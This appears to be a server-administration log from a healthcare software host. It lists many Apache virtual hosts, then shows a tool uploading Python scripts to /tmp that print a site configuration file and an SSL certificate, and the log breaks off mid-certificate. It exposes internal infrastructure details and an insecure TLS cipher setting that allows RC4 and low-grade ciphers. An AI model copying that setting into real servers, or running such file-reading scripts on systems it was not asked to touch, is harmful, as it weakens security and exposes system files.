port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:42:
PUT: /tmp/pkp680337
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:42:
chmod 755 /tmp/pkp680337; /tmp/pkp680337; rm /tmp/pkp680337
2025-11-10 06:01:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 1906
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2025-11-10 06:01:42:
PUT: /tmp/pkp177892
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:42:
chmod 755 /tmp/pkp177892; /tmp/pkp177892; rm /tmp/pkp177892
2025-11-10 06:01:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt 5434
5d:62:50:20:c9:43:cd:a6:3f:19:21:b2:8a:f4:5b:ea
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgISBut27qscMTzTMsDHjtTdnn0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMzEwWhcNMjYwMjA4MDUwMzA5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC32Pbmw4oMBOlkoMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZh
nNUxRi+XnA2WomSxFZkA97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55
tyzRASUq3jaaCfVNDNJUuaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx
2DjyJBzc9VAfRkvfC2mt9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVN
sbebO39nOtw6jLVI4j/IuKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bv
opF4xwyCxVZDcTs298/qlKDs991pAgMBAAGjggJcMIICWDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFIwLwPVZMwMrsEvEZp9s2VgjBZFgMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzUyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
